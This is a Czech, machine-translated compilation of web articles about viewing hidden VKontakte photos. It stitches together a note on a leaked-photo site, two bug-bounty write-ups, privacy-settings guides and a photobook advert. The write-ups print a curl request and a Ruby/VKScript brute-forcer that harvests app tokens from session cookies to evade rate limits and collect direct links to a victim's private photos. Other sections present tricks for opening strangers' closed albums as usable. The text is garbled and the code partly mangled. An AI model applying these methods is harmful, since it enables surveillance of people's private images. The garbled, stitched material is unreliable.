Jak zobrazit skryté fotografie v kontaktu přes zdrojový kód. Jak najít osobu podle fotografie na VK Soukromé fotografie přátel a známých na VKontakte

Obrovská sbírka soukromých fotografií na VK (asi 100 milionů). Služba shromažďuje fotografie všech uživatelů sociálních sítí. sítě do jednoho adresáře.

Vyhledání fotografií konkrétního uživatele je snadné – stačí je zadat. Ale je těžké to odstranit, pokud píšete tvůrcům e-mailem, pak je šance nízká, ale pokud dáváte dary, šance se zvyšuje.

Jak sklad skotu shromažďuje fotografie na VK? Je to velmi jednoduché: služba automaticky nahraje fotografie všech uživatelů online do sbírky. Nezáleží na tom, kde svou fotku zveřejníte, v komunitě nebo profilu. I když je fotografie po několika minutách smazána, bude již ve stanici pro dobytek.

Mnoho nespokojených uživatelů se proto obrátilo na Roskomnadzor, který přispěl k stanice dobytka byla zablokována na území Ruské federace. Blokování není možné obejít.

Shromažďování a uchovávání osobních údajů uživatelů je zakázáno. I když sami uživatelé zveřejňují fotografie veřejně.

Pro teď stránka nefunguje i z proxy serverů. Majitelé ihned po zablokování provozovnu opustili. Můžete tak klidně spát a nebát se, že se někdo podívá na vaše osobní fotografie.

Analogy Skotobazy

V roce 2018 Existovaly různé analogy, například „Burn“, ale všechny nefungují, protože vývojáři VKontakte vylepšili skripty, které zakazují robotům krást soukromé fotografie.

Pozornost: Internet je plný „analogů“ dobytčí farmy, ale nejenže nefungují, ale také způsobují hacking účtu! Pokud na takové stránky narazíte, v žádném případě nezadávejte data z VKontakte. Útočníci získají přístup k účtu a budou moci.

Éra chovů hospodářských zvířat a podobných služeb skončila. Nyní je ukládání a distribuce intimních, soukromých fotografií zakázáno. Pokud zákon nedodržíte, bude následovat trest.

10. února 2016 v 15:23

Zranitelnost VKontakte: přístup k náhledům fotografií z dialogů a skrytých alb libovolného uživatele

Krátký

V mobilní verzi webu vk.com byla objevena zranitelnost. Umožnil vám zobrazit náhledy skrytých fotografií, včetně fotografií z uživatelských konverzací, a navíc jste mohli získat informace o uživatelích, kterým se tato skrytá fotografie líbila. V tuto chvíli již zranitelnost neexistuje – byla opravena před šesti měsíci. VKontakte vyjádřil svou vděčnost ve výši 700 $ (ne, ne v hlasech).

Jak to všechno začalo

Během sezení se rozptylujete vším, jen ne proto, abyste se připravili na zkoušky. Takže když jsem viděl o programu Bug Bounty od VKontakte na hackerone.com, místo přípravy na zkoušky jsem začal hledat zranitelnosti. Z nějakého důvodu mě okamžitě lákalo hledat zranitelnosti spojené s fotografiemi a skrytým nastavením soukromí, a jak se ukázalo, nebylo to marné.

Hledejte zranitelnosti na plné verzi webu

Za předpokladu, že znám ID skryté fotografie (více o tom, jak ji najít níže), jsem se začal pokoušet nahradit toto ID ve všech možných požadavcích na zvlnění - zkoušel jsem ukládat skryté obrázky do svého alba, označovat se na nich, lajkovat, znovu zveřejňovat, atd. nic nedávalo kladný výsledek, dokud jsem nezkusil jednoduše poslat skrytou fotku na mou zeď.Výsledek byl divný - v konzoli žádost vrátila správný výsledek a na zdi se objevil nový příspěvek, ale jeho obsah byl prázdný. Ne jak jsem se snažil, vše se zastavilo na pokusech serveru poslat skrytou fotku na zeď - příspěvky byly prázdné.

Přepnout na mobilní verzi

Pak jsem si vzpomněl na tento komentář a rozhodl jsem se, že zkusím udělat totéž v mobilní verzi webu.

Odeslání fotografie na zeď:

Curl "http://m.vk.com/wall53083705" -H "Cookie: remixsid=#remixsid" --data "act=post&hash=#hash&attach1_type=photo&attach1=idOwnerPhoto_idHiddenPhoto" # ID fotografie se skládá ze dvou částí oddělených podtržítkem idOwnerPhoto_idHiddenPhoto
Tato žádost nebyla dokončena správně, ale po obnovení stránky jsem s překvapením zjistil, že se na formuláři pro odeslání objevila přiložená malá kopie fotografie.

Maximální velikost fotografie je 130x130, ale to stačí například k rozpoznání tváří na fotografii. Pokusy získat odkaz na celou fotografii byly neúspěšné. Po odstranění této chyby zabezpečení zřejmě nelze z mobilní verze webu snadno získat přímé odkazy na plnou velikost.

Procházení fotografií

Byla nalezena chyba zabezpečení. Pro zneužití nalezené zranitelnosti musíte získat ID napadené fotografie.

ID fotografie se skládá ze dvou částí: photo12345_330000000 (Owner_idPhoto), druhá část roste od fotografie k fotografii, ale nejedná se o běžný automatický přírůstek. Protože algoritmus pro výběr kroků není znám, budeme opakovat s krokem 1.

K výčtu použijeme metodu api fotky.smazat. U všech existujících fotografií (včetně skrytých) se tato metoda vrátí chybový kód: 15. A za všechny neexistující průkazy totožnosti s fotografií bude jeden vrácen.

Rychlost vyhledávání
Z tohoto článku se dozvíte, jak rychle třídit fotografie. Ano, data v ní nejsou nejnovější, ale i když vezmete v úvahu, že za rok vzniklo dvakrát tolik fotografií, zůstává doba hledání stále přijatelná.
Chcete-li zjistit přímé odkazy na fotografie uživatele, řekněme z minulého roku, musíte protřídit pouze 30 milionů (od _320000000 do _350000000) různých variant odkazů

Pomocí zrychlení vyhledávání ze zmíněného článku lze vyhledávat fotografie uživatele:

za 1 minutu získáte všechny své fotky ze včerejška, za 7 minut – všechny fotky nahrané minulý týden, za 20 minut – minulý měsíc, za 2 hodiny – minulý rok.
Eliminace otevřených/skrytých
Po obdržení odkazů na všechny (skryté i otevřené) fotografie uživatele můžete vybrat pouze ty skryté pokusem o získání informací o fotografii pomocí metody photos.getById. Fotografie, pro které nejsou touto metodou vráceny informace, jsou skryté.

Informace o oblíbených uživatelích

Bylo také možné rozpoznat uživatele, kterým se skrytá fotografie líbila. Metoda likes.getList vrátila všechny uživatele, kteří přidali daný objekt do svého seznamu Líbí se mi, i když byl tento objekt pro uživatele spouštějícího tuto metodu skrytý.

Nahlásit hackeronovi

Moje zpráva byla otevřena v červnu. Zranitelnost uzavřeli po dvou a půl měsících, aniž by mi cokoliv řekli. O další měsíc později jsem obdržel odpověď, že zranitelnost byla potvrzena a uzavřena. A po nějaké době jsem dostal odměnu.

P.S.: pro ty, kteří se poprvé snaží vybírat odměny z hackerone.com na nový účet paypal, radím, aby si pozorně přečetli podmínky. Paypal může při převodu finančních prostředků bez vašeho souhlasu převést odměnu na měnu země uvedené ve vašem profilu.

V procesu zkoumání možností a jednoduchého používání stránek moderní sociální sítě VKontakte mají uživatelé velké množství otázek. Jedním z nejčastějších je řešení problému, jak zobrazit skryté fotografie na VKontakte. Dost často uživatelé své profily zcela nebo částečně skryjí, takže není možné prohlížet jejich fotografie.

Než se zamyslíte nad otázkou schopnosti prohlížet skryté fotografie, stojí za to krátce zvážit téma jejich skrytí. Chcete-li skrýt své fotografie, budete muset provést následující kroky:

  • Musíte přejít na stránku VK;
  • Vlevo najděte řádek „Moje nastavení“ a aktivujte jej;
  • Otevřete podsekci „Ochrana osobních údajů“;
  • Zobrazí se speciální nastavení ochrany osobních údajů. Mohou být instalovány podle vašeho uvážení.

Skrýt můžete nejen fotografie, ale také zvukové nahrávky, příspěvky a přátele. Po výběru řádku, který odráží, kdo může vidět fotografii, musíte určit, kdo bude moci vidět osobní fotografie. Zde si můžete vybrat úplné soukromí nastavením na „pouze já“ nebo povolením sledování pouze pro přátele. Nainstalované funkce začnou fungovat okamžitě po provedení nastavení.

Jak zobrazit uložené fotografie ve VK, pokud jsou skryté?

Jak tedy zobrazit skryté fotografie uživatelů VK? Neexistuje zde žádné oficiální schéma činnosti, protože vývojáři sociální sítě respektují přání uživatelů zachovat si své soukromí. Pokud chcete zobrazit skryté fotografie VK, postupujte takto:

  1. Musíte přejít na profil uživatele, jehož fotografii chcete vidět.
  2. Klikněte na prázdné místo běžným tlačítkem myši.
  3. Vyberte sekci „Zobrazit zdrojový kód stránky“.
  4. Stiskněte Ctrl+F.
  5. Do vyhledávání zadejte „alba“, pouze bez uvozovek.
  6. Čísla se objeví v řádku za tímto slovem, je třeba je zkopírovat. Toto je kód stránky.
  7. Musíte znovu přejít na profil uživatele a do adresního řádku za ID zadat „?z=album“, rovněž bez uvozovek.
  8. Vloží se dříve zkopírovaný fragment.
  9. Stiskněte Enter a užijte si prohlížení skrytých fotografií.

Důležité! Tato možnost zobrazení soukromých fotografií, pokud je přístup uzavřen, není zcela legální, správa VK ji neschvaluje.

Z tohoto důvodu byste neměli být překvapeni, pokud je možnost prohlížet uložené fotografie, pokud jsou skryté, uzavřena.

Web pro prohlížení skrytých fotografií na VKontakte

Tuto metodu lze použít v případě již přijatého fragmentu kódu, který lze získat pomocí výše popsané metody. Chcete-li zobrazit skryté fotografie, musíte se vrátit na požadovanou stránku, na stránce sociální sítě do vyhledávacího pole prohlížeče zadat odkaz uspořádaný podle typu - vk.com/id...., kde za ID je stránka identifikační číslo. Poté umístěte kurzor na úplný konec adresy a ihned zadejte speciální znaky „?z=“.

V důsledku takových akcí se na řádku pracovního prohlížeče objeví následující zpráva: vk.com/id......?z=albums....., kde tři tečky je ID uživatele. Po stisknutí klávesy Enter se vám automaticky otevřou všechny fotografie dané osoby.

Závěr

S poměrně jednoduchými metodami, které jsou vám představeny, můžete bez problémů studovat fotografie uživatelů v uzavřených albech. Hlavní výhodou takových technik je možnost vidět fotografie v albech těch lidí, kteří již nejsou přáteli na VK a úplně cizích lidí.

Instrukce

Pokud je stránka s fotkami zablokována, podívejte se do adresního řádku (adresa zadané stránky se zobrazí nahoře). V tomto řádku uvidíte nápis http://vkontakte.ru/id(čísla). Musíte zkopírovat ID uživatele, jehož fotografie chcete vidět. Například http://vkontakte.ru/id123, kde číslo na konci odkazu (123) je požadované id.

Přejděte na web http://susla.ru/ Okamžitě uvidíte hlavní stránku se stručnými pokyny a vstupním oknem označeným „Zde“. Vložte nebo zadejte zkopírované ID do tohoto okna a klikněte na „Zobrazit“. Po kliknutí se dostanete na novou stránku, kde se zobrazí všechny fotografie uživatele, kterého hledáte.

Klikněte na fotografie, které se zobrazí. Budou zobrazeny v plné velikosti. Můžete si je volně prohlížet. Pokud na stránce uživatele nejsou žádné fotografie, zobrazí se zpráva „Ne“.

Video k tématu

Poznámka

K prohlížení stránek a fotografií jiných lidí často nabízejí použití různých programů, které vyžadují instalaci. Existuje 99% pravděpodobnost, že takové programy jsou viry. V žádném případě je neinstalujte a pokud jsou nainstalovány, okamžitě je odeberte a prohledejte počítač pomocí antiviru

Prameny:

  • jak zobrazit fotoalba na VKontakte

Instrukce

V nabídce vedle svého avatara nebo osobní fotografie najděte odkaz „Moje fotografie“ (nebo „Moje fotografie“). Může být v nabídce na straně fotografie, pod ní, nebo méně často nad ní. V případech je přístup k fotografiím dostupný z kterékoli stránky webu - přímo pod záhlavím webu, na levé nebo pravé straně stránky může být umístěn stejný odkaz.

Stránka na tomto odkazu zobrazí miniatury všech fotografií, které jste nahráli, včetně avatarů a fotografií nahraných jinými uživateli, pokud jste na nich označeni. Klikněte levým tlačítkem na miniaturu titulního rámečku jednoho z vašich fotoalb.

Zobrazí se náhledy všech fotografií v albu. Pro zvětšení klikněte na první fotografii. Procházejte album kliknutím levého tlačítka myši nebo pomocí kombinace „Ctrl-šipka vpravo“.

Video k tématu

Všichni rádi ukazujeme svým přátelům fotografie pořízené během cestování a různých nezapomenutelných událostí. Digitální technologie umožňují nahrávat fotografie přímo do sítě – na různé zdroje včetně sociálních sítí. Jak ale můžete omezit počet uživatelů, kteří si mohou prohlížet vaše fotografie?

Instrukce

Nejvíce sociálních sítí v Rusku, na základě počtu účtů a návštěv za den, jsou VKontakte a FaceBook. Přístup k albu VKontakte můžete zavřít následovně. Přejděte na stránku „Moje fotografie“ na stránce VK a najděte tu, kterou potřebujete. Naproti řádku „Dostupné“ vyberte „Pouze mně“, pokud chcete, aby nikdo neviděl fotky z tohoto. Možnost „pouze“ zobrazí album pouze přátel VKontakte, „někteří přátelé“ - pouze vybraní přátelé z obecného seznamu, „všichni kromě“ - celý seznam přátel, kromě „omezovacího listu“ speciálně vytvořeného pro toto album Po výběru režimu přístupu stránku opusťte. Soukromí alba bude nastaveno.

Na sociální síti FaceBook jsou alba uzavřena následovně. Přejděte na požadované fotoalbum a klikněte na tlačítko "Upravit informace o albu" ve spodní části obrazovky. Na kartě Vlastnosti alba vyberte v nabídce Přístup příslušnou hodnotu soukromí. I přes toto omezení si však uživatelé budou moci stále prohlížet některé vaše fotografie, konkrétně fotografie nahrané jinými uživateli, na kterých jste označeni. Omezení stále umožňuje ostatním uživatelům prohlížet vaše fotografie v jiných částech webu. Upozorňujeme, že publikum pro tuto fotografii vybírá uživatel, který fotografii zveřejnil. Pokud nechcete, aby vaši fotku viděli jeho přátelé nebo jiní uživatelé FaceBooku, požádejte ho, aby fotku smazal prostřednictvím zpráv.

Video k tématu

Navzdory skutečnosti, že sociální síť VK věnuje velkou pozornost bezpečnosti osobních údajů uživatelů, stále existují způsoby, jak proniknout do osobního života jiných lidí. V žádném případě však nezískáte seriózní přístup k informacím o osobě - ​​bezpečnostní mezery jsou vždy velmi omezené a ne vždy účinné.

Budete potřebovat

  • -vlastní profil na webu vk.com.

Instrukce

Do adresního řádku prohlížeče zadejte durov.ru. Tento projekt je odnoží služby vk.com, a proto je naprosto legální – v raných fázích vývoje to byla testovací platforma pro technologii vkontakte-API.

Otevřete profil osoby, která vás zajímá. Pod svým avatarem uvidíte tři modré pruhy označující sekce: Přátelé, Přátelé online a Fotografie. Ten bude otevřen pouze v případě, že si na této stránce můžete prohlédnout alespoň jedno fotoalbum. Upozorňujeme, že na pravé straně modré čáry je umístěno a aktivní tlačítko „Photos With User“. Tajemství spočívá v tom, že můžete vidět „Fotografie, na kterých je uživatel označen“, bez ohledu na to, zda jsou otevřené ve vlastnostech „soukromí“ nebo ne – stačí kliknout na kterýkoli z obrázků, které se objeví v řádku, a rozbalí se na celá obrazovka.

Musíte otevřít fotografii, kliknout pravým tlačítkem přímo na obrázek a vybrat „Otevřít obrázek v novém okně“ nebo podobně. Otevře se nová karta s rozbaleným pouze obrázkem. Na adrese této „stránky“ (můžete ji zkopírovat do adresního řádku) má k tomuto obrázku přístup každý uživatel. Odkaz bude vypadat nějak takto: http://cs9713.vk.com/u21472493/-14/z_b8639xxx.jpg

Můžete použít skript vkopt. Nejedná se o škodlivý program – pouze o sadu „tipů“ pro váš prohlížeč, s jejichž pomocí bude moci zobrazit mnohem více informací o stránkách jiných lidí. Objeví se tedy zcela nové menu: „Zkontrolovat zabezpečení“. Stisknutím tohoto tlačítka se na vašem displeji objeví tlačítka, pomocí kterých si můžete prohlédnout některá uživatelská data včetně fotografií.

Video k tématu

Užitečná rada

Na internetu můžete najít poměrně složitý popis přístupu k cizím fotografiím změnou jmen v adresním řádku. Skript vkopt funguje na stejném principu, ale vše dělá automaticky – není na něm nic nezákonného.

Prameny:

  • jak zobrazit skryté přátele v kontaktu

Na webu VKontakte je možné skrýt album s obrázky před zraky zvědavých uživatelů (pro některé omezit prohlížení nebo si nechat obrázky jen pro sebe). Je však také možné se vrátit k prohlížení snímků.

Budete potřebovat

  • Počítač s přístupem k internetu, registrace na webu VKontakte

Instrukce

Přejděte na svou stránku na webu VKontakte a do příslušných polí zadejte své přihlašovací jméno a heslo. Na pravé straně hlavní fotografie (avatar) najděte v seznamu sekcí svého účtu odkaz „Moje fotografie“ a jednou na něj klikněte levým tlačítkem. Otevře se před vámi seznam vašich alb se staženými obrázky. Najděte požadované úložiště fotografií a klikněte na něj myší. K fotografiím se můžete dostat jiným způsobem - na pravé straně vaší stránky pod seznamem přátel a odběrů najděte sekci „Fotoalba“ a přejděte do ní jedním kliknutím na nápis levým tlačítkem myši.

Otevře se před vámi stránka s nahranými obrázky. V jeho horní části na pravé straně najděte nápis „Upravit album“ a klikněte na něj jednou levým tlačítkem myši. Zobrazí se stránka s úpravami vašich fotografií.

V horní části stránky pod polem popisu alba najděte dvě kategorie úprav – „Kdo může zobrazit toto album?“ a "Kdo může komentovat fotografie?" Vpravo od každé kategorie klikněte jednou pravým tlačítkem myši na příslušný nápis. V okně výběru, které se otevře, klikněte v prvním a druhém případě na „Všichni uživatelé“.

Na webu VKontakte si můžete prohlédnout i ostatní uživatele. Chcete-li to provést, zkopírujte do adresního řádku identifikační číslo účtu požadované osoby. Poté vložte toto číslo do adresního řádku na nové kartě http://vkontakte.ru/photos.php?id=000000. Místo „000000“ nahraďte individuální číslo stránky osoby, která vás zajímá. Poté stiskněte na klávesnici „Enter“ a před vámi se objeví alba uživatele.

Prameny:

  • Jak otevřít uzavřená alba

Každý dospělý a dokonce i dítě zaznamenává kamerou desítky a stovky významných událostí svého života nebo života někoho jiného: první krůček ještě křehkých nohou, pád z kola, kulatý tanec kolem narozeninového dortu, maturitní ples, nabídka k sňatku. Pózování a natáčení je samozřejmě zábavná činnost, ale dlouhé hodiny sedět a vkládat „nejlepší momenty“ do alba je, bohužel, nákladné úsilí. V tom smyslu, že to chce trpělivost. Díky portálu Wikers si nyní každý uživatel internetu bez ohledu na místo může rychle, efektivně a kreativně navrhnout osobní fotoknihu. Jinými slovy, Wikers je služba pro výrobu personalizovaných tiskových produktů, jako jsou fotoknihy, fotokalendáře, plakáty, pohlednice a časopisy.

Budete potřebovat

Instrukce

Vyberte požadovanou šablonu fotoknihy. V současné době je na webu k dispozici 6 šablon, které odpovídají nejoblíbenějším velikostem alb.

Nahrajte a uspořádejte fotografie do speciálních rámečků, přidejte text.

Dalším krokem je zobrazení fotoknihy. Klikněte na tlačítko "Zobrazit" v pravém dolním rohu obrazovky. Pokud se vám vše líbí, můžete přejít k pokladně. Pokud potřebujete ještě něco změnit, klikněte na tlačítko „Upravit“.

tl;dr

V záložkách VK byla objevena zranitelnost, která umožňovala přijímat přímé odkazy na soukromé fotografie z osobních zpráv a alb libovolného uživatele/skupiny. Byl napsán skript, který třídil fotografie uživatelů po určité období a poté prostřednictvím této zranitelnosti získal přímé odkazy na obrázky. Stručně řečeno, všechny své fotografie ze včerejška jste mohli získat za 1 minutu, všechny fotky nahrané minulý týden za 7 minut, minulý měsíc za 20 minut, minulý rok za 2 hodiny. Chyba zabezpečení byla nyní opravena. Správa VKontakte vyplatila odměnu 10 tisíc hlasů.


Příběh začal, když mi byl zaslán obrázek v osobní zprávě na VKontakte. Obvykle, pokud je něco důležité, nahraji to do cloudu, ale v mém případě to nebylo nutné a rozhodl jsem se použít funkci záložek VKontakte.

Krátce o této funkci: všechny věci, které se uživateli líbí, jsou přidány do záložek; K dispozici je také funkce pro ruční přidání odkazu na uživatele a interní odkaz VKontakte. Poslední bod se mi zdál velmi zajímavý, protože po přidání odkazu na fotku jsem viděl její náhled a text s typem přidané entity:

Když je odkaz přidán, server jej analyzuje, pokusí se zjistit, na jakou entitu odkazuje, a získá informace o tomto objektu z databáze. Při psaní tohoto druhu funkce s mnoha podmínkami je obvykle velmi vysoká pravděpodobnost, že vývojář na něco zapomene. Takže jsem si to nemohl dovolit nechat ujít a rozhodl jsem se věnovat pár minut tomu, abych si trochu zaexperimentoval.

Ve výsledku se mi něco podařilo najít. Přidáním odkazu na fotografii, poznámku nebo video, které není přístupné, můžete získat malé soukromé informace o objektu. V případě fotek a videí se jedná o malý (150x150) náhled, na kterém je dost špatně něco vidět, nadpis se zobrazoval pro soukromé poznámky. Přes metodu API fave.getLinks Bylo možné získat odkazy na obrázek, ale opět byla příliš malá velikost (75px a 130px). Takže v podstatě nic vážného.

Rozhodl jsem se přejít na mobilní verzi stránek, abych zkontroloval, zda se tam vše zobrazuje stejně jako v běžné verzi. Při pohledu na kód stránky jsem viděl toto:

Ano! V hodnotě atributu data-src_big byl tam přímý odkaz na původní obrázek!

Bylo tedy možné získat přímý odkaz na jakýkoli obrázek na VKontakte, bez ohledu na to, kde byl nahrán a jaké měl nastavení soukromí. Může to být obrázek z osobních zpráv nebo fotografie ze soukromých alb libovolného uživatele/skupiny.

Zdálo by se, že bych se tam mohl zastavit a napsat vývojářům, ale zajímalo mě, jestli je možné pomocí této zranitelnosti získat přístup ke všem (nebo staženým v určitém časovém období) fotkám uživatele. Hlavním problémem zde, jak jste pochopili, bylo, že odkaz na soukromou fotografii formuláře není vždy znám fotkaXXXXXX_XXXXXXXX přidat do záložek. Napadla mě myšlenka prohledat id fotografie, ale z nějakého důvodu jsem ji okamžitě zavrhl jako šílenou. Zkontroloval jsem metody související s fotografiemi v API, podíval jsem se, jak aplikace pracuje s alby, ale nenašel jsem žádné úniky, které by mi pomohly získat seznam s ID všech soukromých fotografií uživatele. Už jsem se této myšlenky chystal vzdát, ale když jsem se znovu podíval na odkaz s fotkou, najednou jsem si uvědomil, že jít přes palubu je dobrý nápad.

Jak fungují fotografie ve VK

Jak byste mohli nahradit, odkaz na foto foto52708106_359542386 se skládá ze dvou částí: (ID uživatele)_(nějaké podivné číslo). Jak se tvoří druhá část?

Bohužel, po dvou hodinách experimentování jsem tomu stále nerozuměl. V roce 2012 na HighLoad++ Oleg Illarionov řekl pár slov o tom, jak ukládají fotografie, o horizontálním shardingu a náhodném výběru serveru pro nahrávání, ale tato informace mi nic nedala, protože neexistuje žádné spojení mezi ID serveru a ID fotky. Je jasné, že existuje nějaký globální čítač, ale je tam nějaká jiná logika... Protože pokud by se druhé číslo tvořilo pomocí běžného automatického přírůstku, pak by hodnoty ID fotografií už dávno dosáhly obrovských hodnot ​​(například pro Facebook je to v tuto chvíli ~ 700 bilionů), ale pro Vkontakte je tato hodnota pouze ~ 400 milionů (ačkoli, soudě podle statistik, denně uživatelé nahrávají více než 30 milionů fotografií). Tito. Je jasné, že tento údaj není ojedinělý, ale zároveň není náhodný. Napsal jsem skript, který prošel fotografiemi „starých“ uživatelů a na základě obdržených dat vytvořil graf, jak moc se toto číslo změnilo s každým rok:

Je vidět, že hodnoty kolísají v závislosti na některých faktorech (počet serverů nebo nová logika?). Jde ale o to, že jsou dostatečně malé (zejména v posledních 2-3 letech) a je velmi snadné vypočítat rozsah id pro požadované časové období. To znamená, že chcete-li zjistit přímé odkazy na fotografie uživatele, řekněme z minulého roku, musíte se pokusit uložit do záložek pouze 30 milionů (od _320000000 do _350000000) různých variant odkazů! Níže jsem popsal techniku ​​hrubé síly, která mi to umožnila během několika minut.

Procházení fotek

To vše můžete přidat ručně přes rozhraní nebo napsat skript, který přidá jeden odkaz do záložek, ale to by bylo nudné a časově náročné. Rychlost vyhledávání by v tomto případě byla 3 záložky za sekundu, protože odeslat více než tři požadavky za sekundu na server Vkontakte je to zakázáno.

Zrychlete vyhledávání x25

Abych limit 3 požadavků alespoň trochu obešel, rozhodl jsem se metodu použít vykonat. V jednom volání této metody je možných 25 volání metod API.

Var start = parseInt(Args.start); var end = parseInt(Args.end); var oběťId = Args.id; var odkaz = "http://vk.com/photo" + oběti + "_"; while(start != end) ( API.fave.addLink(( "odkaz": odkaz + začátek )); start = začátek + 1; );
Podařilo se nám tedy zvýšit rychlost hrubé síly na 3*25 záložek/sec. Během posledního roku by třídění fotografií trvalo dlouho, ale na krátkou dobu byla tato metoda třídění již docela dobrá.

Zrychlíme vyhledávání x25 * počet paralelních požadavků za sekundu

Omezení počtu požadavků/s platí pro každou aplikaci zvlášť, nikoli pro celého uživatele. Nic vám tedy nebrání odesílat mnoho požadavků paralelně, ale zároveň používat tokeny z různých aplikací.

Nejprve jsme potřebovali najít (nebo vytvořit) požadovaný počet aplikací. Byl napsán skript, který hledá samostatné aplikace v daném rozsahu aplikačních identifikátorů:

Třída StandaloneAppsFinder attr_reader:app_ids def initialize(params) @range = params[:in_range] @app_ids = end def search (@range).each do |app_id| response = open("https://api.vk.com/method/apps.get?app_id=#(app_id)").read app = JSON.parse(response)["response"] app_ids<< app_id if standalone?(app) end end private def standalone?(app_data) app_data["type"] == "standalone" end end
Bylo také možné vybrat aplikace podle počtu uživatelů, aby se vyhledávání dále urychlilo:

Ale rozhodl jsem se, že se tím nebudu trápit.

Dobře, aplikace byly nalezeny, nyní potřebují udělit oprávnění k datům našich uživatelů a přijímat tokeny. Pro autorizaci jsme museli použít mechanismus Implicit Flow. Musel jsem analyzovat autorizační URL z dialogového okna OAuth a vytáhnout token po přesměrování. Tato třída vyžaduje ke svému fungování soubory cookie. p,l(login.vk.com) a remixsid(vk.com):

Class Authenticator attr_reader:access_tokens def initialize(cookie_header) @cookies = ( "Cookie" => cookie_header ) @access_tokens = end def autorizovat_aplikace(aplikace) apps.each do |app_id| auth_url = extract_auth_url_from(oauth_page(app_id)) redirect_url = open(auth_url, @cookies).base_uri.to_s access_tokens<< extract_token_from(redirect_url) end end private def extract_auth_url_from(oauth_page_html) Nokogiri::HTML(oauth_page_html).css("form").attr("action").value end def extract_token_from(url) URI(url).fragment end def oauth_page(app_id) open(oauth_page_url(app_id), @cookies).read end def oauth_page_url(app_id) "https://oauth.vk.com/authorize?" + "client_id=#{app_id}&" + "response_type=token&" + "display=mobile&" + "scope=474367" end end
Počet nalezených aplikací se rovná počtu paralelních požadavků. Pro paralelizaci této celé věci bylo rozhodnuto použít drahokam Typhoeus, který se osvědčil v jiných úkolech. Výsledkem je taková malá hrubá síla:

Class PhotosBruteforcer PHOTOS_ID_BY_PERIOD = ( "dnes" => 366300000..366500000, "včera" => 366050000..366300000, "aktuální_měsíc" => 3650000000,0666000000000000000000003.03. 0..365000000, "aktuální_rok" = > 350000000..366500000, "minulý_rok" => 320000000..350000000 ) def initialize(params) @victim_id = params[:victim_id] @period = PHOTOS_ID_BY_HODEWORDSTOSIHTER = Typ. ator = 0 (@period).krok(25) do |foto_id| url = "https://api.vk.com/method/execute?access_token=#(tokens)&code=#(vkscript(foto_id))" encoded_url = URI.escape(url).gsub("+", "% 2B").delete("\n") tokensIterator = tokensIterator == tokens.count - 1 ? 0: tokensIterator + 1 hydra.queue Typhoeus::Request.new encoded_url hydra.run if tokensIterator.zero? ukončit hydra.run, pokud hydra.queued_requests.count.zero? end private def vkscript(photo_id)<<-VKScript var start = #{photo_id}; var end = #{photo_id + 25}; var link = "http://vk.com/photo#{@victim_id}" + "_"; while(start != end) { API.fave.addLink({ "link": link + start }); start = start + 1; }; return start; VKScript end end
Aby se hrubá síla ještě zrychlila, byl v reakci pokus zbavit se nepotřebného těla, ale HLAVA Požadavek serveru VKontakte vrací chybu 501 Neimplementováno.

Finální verze skriptu vypadá takto:

Vyžadovat „nokogiri“ vyžadovat „open-uri“ vyžadovat „typhoeus“ vyžadovat „json“ vyžadovat „./standalone_apps_finder“ vyžadovat „./photos_bruteforcer“ vyžadovat „./authenticator“ bruteforcer = PhotosBruteforcer.new(id_oběti: ARGV, období: ARGV) apps_finder = StandaloneAppsFinder.new(in_range: 4800000..4800500) apps_finder.search # p,l - soubory cookie z login.vk.com # remixsid - cookie z vk.com authenticator = Authenticator.new("p=;" + "l =;" + "remixsid=;") authenticator.authorize_apps(apps_finder.app_ids) bruteforcer.run(authenticator.access_tokens)
Po spuštění programu záložky obsahovaly všechny fotografie uživatele za dané období. Nezbývalo než přejít do mobilní verze VKontakte, otevřít konzoli prohlížeče, vytáhnout přímé odkazy a užít si fotografie v původní velikosti.

Výsledek

Obecně vše závisí na vašem internetovém připojení a rychlosti proxy serverů, latenci serverů Vkontakte, výkonu procesoru a mnoha dalších faktorech. Po vyzkoušení výše uvedeného skriptu na svém účtu jsem dostal následující čísla (bez zohlednění času stráveného přijímáním tokenů):

Tabulka ukazuje průměrnou dobu potřebnou k vyzkoušení průkazu totožnosti s fotografií za určité období. Jsem si jistý, že to všechno mohlo být urychleno 10-20krát. Například ve skriptu hrubou silou vytvořte jednu velkou frontu všech požadavků a běžnou synchronizaci mezi nimi, protože v mé implementaci jeden požadavek s časovým limitem zpomalí celý proces. A obecně, stačí si koupit pár instancí na EC2 a získat všechny fotografie jakéhokoli uživatele za hodinu. Ale už se mi chtělo spát.

A obecně je jedno, kolik času tím útočník stráví, 5 hodin nebo celý den, protože tak či onak získá odkazy na soukromé obrázky. Schopnost bezpečně získat přístup k soukromým informacím v omezeném čase je hlavní hrozbou, kterou tato zranitelnost představuje.

Nahlášení zranitelnosti

Nejprve byla zpráva odeslána do podpůrné služby, ale po odpovědi typu „děkujeme, asi to nějak opravíme...“ a týdnu čekání, jsem byl trochu smutný. Děkujeme, že jste pomohli přímo kontaktovat vývojáře. Poté byly chyby během pár hodin uzavřeny a o pár dní později mi administrace převedla odměnu ve výši 10k na můj účet Problémy